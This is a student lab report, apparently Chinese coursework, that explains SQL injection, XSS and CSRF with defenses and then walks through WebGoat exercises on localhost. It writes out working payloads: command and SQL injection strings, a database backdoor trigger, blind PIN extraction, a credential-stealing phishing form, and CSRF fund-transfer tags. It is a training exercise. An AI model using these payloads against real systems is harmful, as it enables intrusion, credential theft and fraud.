1.SQL注入攻擊原理,如何防護?javascript
原理:java
經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。SQL注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行SQL語句以及進行其餘方式的攻擊,沒有對用戶輸入的數據進行過濾消毒是攻擊成功的主要緣由。git
防護:github
(1)對漏洞注入點相關代碼進行代碼及SQL注入關鍵字的過濾,以規範代碼安全性;web
(2)不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接;數據庫
(3)應用的異常信息應該給出儘量少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。瀏覽器
2.XSS攻擊的原理,如何防護?安全
原理:服務器
XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種在web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。cookie
防護:
(1)統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊;
(2)檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。
3.CSRF攻擊原理,如何防護?
原理:
CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
防護:
(1)對於web站點,將持久化的受權方法(例如cookie或者HTTP受權)切換爲瞬時的受權方法(在每一個form中提供隱藏field),這將幫助網站防止這些攻擊。一種相似的方式是在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;
(2)改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。
下載地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1)
下載完成後,將文件放到主目錄下。
打開終端,輸入 java -jar webgoat-container-7.0.1-war-exec.jar
在瀏覽器中打開 http://localhost:8080/WebGoat ,輸入默認的用戶名和密碼進行登陸
選擇 Injection Flaws -> Command Injection
右鍵頁面中複選框,選擇inspect Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"
點擊 view,看到網絡端口使用狀況和 IP 地址,攻擊成功
選擇 Injection Flaws -> Numeric SQL Injection
右鍵頁面中複選框,選擇inspect Element審查網頁元素對源代碼value="101"
進行修改,在城市編號101後面添加or 1=1
點擊 Go,能夠看到攻擊成功
選擇 Injection Flaws -> Log Spoofing
在User Name中輸入dgx%0d%0aLogin Succeeded for username: admin
利用0D%(回車)和%0A(換行)讓其在日誌中顯示兩行
輸入任意密碼後點擊 Login,成功將用戶名追加到日誌文件中。
選擇 Injection Flaws -> String SQL Injection,右鍵頁面將password密碼框,選擇inspect Element審查網頁元素對源代碼進行修改,將其最大長度限制改成20
以用戶Neville登陸,輸入密碼Smith' or '1' = '1
攻擊成功,獲得全部人員列表
選擇 Injection Flaws -> Database Backdoors
輸入101
,獲得該用戶的信息
輸入注入語句101; update employee set salary=10000
輸入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
設置觸發器
服務端頁面返回的信息有兩種:賬號有效,帳號無效,所以沒法簡單地查詢到賬號的 PIN 數值。但能夠利用系統後臺在用的查詢語句SELECT * FROM user_data WHERE userid=accountNumber;若是返回了賬號的信息,頁面將提示賬號有效,不然提示無效。
輸入101 AND 1=1
頁面返回賬號有效
輸入101 AND 1=2
第二個條件不成立,頁面返回賬號無效
輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
頁面返回賬號無效,說明PIN<=10000
不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN 數值的大小。最終以下語句返回賬號有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
使用XSS和HTML插入製做一個釣魚網站,將其輸入在search框中,代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR
輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
在title中任意輸入字符,留言板中輸入<script>alert("I am 20164302. You've been attacked!!!");</script>
在Enter your three digit access code:中輸入<script>alert("I am 20164302");</script>點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容。
查看頁面右側Parameters中的src和menu值分別爲274和900
查看頁面右側Parameters中的src和menu值,分別爲2078372和900
在title中輸入任何參數,message框中輸入
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的(寬高設置成1像素的目的是隱藏該圖片),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交
在Message List中生成以Title命名的消息。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。能夠從左側的任務欄看到任務已完成
查看Parameters中的src和menu值,分別爲312和900
在title中輸入任何參數,message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />
點擊 Submit (其中語句中的&transferFunds=5000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)
這是課程的最後一次實驗,實驗內容並不算太複雜,在webgoat上完成,還會有指導,經過實際操做,對SQL、XSS、CSRF有了進一步的瞭解。本身在實際動手操做方面一直比較薄弱,能夠說這門課程對本身來講是一次磨鍊,收穫了很多。